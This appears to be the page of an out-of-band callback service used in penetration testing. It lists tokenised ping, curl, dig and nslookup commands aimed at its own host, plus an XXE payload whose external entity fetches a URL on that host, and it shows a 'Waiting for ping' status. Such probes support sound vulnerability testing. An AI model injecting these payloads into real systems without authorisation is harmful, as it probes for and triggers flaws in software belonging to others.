$ ping -c1 -p 00c39929758ebd493dc9a5866f2b4500 unhack.ca
 
$ curl http://unhack.ca/p/c39929758ebd493dc9a5866f2b45
 
$ dig c39929758ebd493dc9a5866f2b45 @unhack.ca
 
$ dig c39929758ebd493dc9a5866f2b45.ns.unhack.ca
 
C:\> nslookup c39929758ebd493dc9a5866f2b45 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c39929758ebd493dc9a5866f2b45">]>
    <foo>&xxe;</foo>
Waiting for ping...